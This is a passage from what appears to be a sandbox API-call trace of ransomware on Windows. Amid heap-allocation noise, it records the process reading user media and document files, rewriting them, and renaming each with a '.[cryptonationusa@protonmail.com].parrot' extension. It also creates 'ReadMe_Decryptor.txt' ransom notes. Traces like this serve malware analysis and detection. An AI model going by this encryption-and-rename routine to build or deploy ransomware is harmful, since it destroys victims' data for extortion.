lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fe980 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5ff9c0 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ff9c0 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0046.592] GetLastError () returned 0x0 [0046.592] SetLastError (dwErrCode=0x0) [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0046.593] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0046.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x5fe980 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0046.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x6209d0 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.594] WriteFile (in: hFile=0x2d4, lpBuffer=0x6209e0*, nNumberOfBytesToWrite=0x27d8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6209e0*, lpNumberOfBytesWritten=0x18fa94*=0x27d8, lpOverlapped=0x0) returned 1 [0046.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0046.594] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0046.594] CloseHandle (hObject=0x2d4) returned 1 [0046.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0046.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.595] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AEvfcf6R_0xBfR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aevfcf6r_0xbfr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AEvfcf6R_0xBfR.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aevfcf6r_0xbfr.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0046.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0046.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0046.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0046.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0046.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0046.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0046.597] GetFileType (hFile=0x2d4) returned 0x1 [0046.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0046.608] lstrcmpW (lpString1="aij1oGyC11K.odt", lpString2="ReadMe_Decryptor.txt") returned -1 [0046.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aij1oGyC11K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aij1ogyc11k.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0046.608] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x17375 [0046.608] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1748d, nNumberOfBytesToLockHigh=0x0) returned 1 [0046.608] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0046.608] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0046.609] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.609] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x17375, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x17375, lpOverlapped=0x0) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0046.610] GetLastError () returned 0x0 [0046.610] SetLastError (dwErrCode=0x0) [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0046.610] GetLastError () returned 0x0 [0046.610] SetLastError (dwErrCode=0x0) [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.610] GetLastError () returned 0x0 [0046.610] SetLastError (dwErrCode=0x0) [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fe980 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5ff9c0 [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ff9c0 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0046.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x628a10 [0046.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0046.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x28d9df0 [0046.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x628a10 | out: hHeap=0x540000) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5) returned 0x55bb88 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.613] GetLastError () returned 0x0 [0046.613] SetLastError (dwErrCode=0x0) [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0046.613] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0046.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0046.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0046.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0046.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0046.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0046.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x5fe980 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28f9e30 [0046.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28fcdc8 [0046.834] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f9e30 | out: hHeap=0x540000) returned 1 [0046.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x2901518 [0046.834] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fcdc8 | out: hHeap=0x540000) returned 1 [0046.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x61c990 [0046.834] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2901518 | out: hHeap=0x540000) returned 1 [0046.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28f9e30 [0046.834] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0046.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x61c990 [0046.834] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f9e30 | out: hHeap=0x540000) returned 1 [0046.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x21c32) returned 0x2919e10 [0047.104] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0047.104] WriteFile (in: hFile=0x2d4, lpBuffer=0x2919e20*, nNumberOfBytesToWrite=0x17498, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2919e20*, lpNumberOfBytesWritten=0x18fa94*=0x17498, lpOverlapped=0x0) returned 1 [0047.104] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0047.106] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1748d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.106] CloseHandle (hObject=0x2d4) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0047.108] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0047.108] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0047.108] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aij1oGyC11K.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aij1ogyc11k.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aij1oGyC11K.odt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aij1ogyc11k.odt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0047.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0047.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0047.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0047.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0047.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0047.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.382] GetFileType (hFile=0x2d4) returned 0x1 [0047.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0047.392] lstrcmpW (lpString1="aS4B4wEEEQW.mkv", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aS4B4wEEEQW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\as4b4weeeqw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.393] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x170bc [0047.393] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x171d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.393] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.393] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | 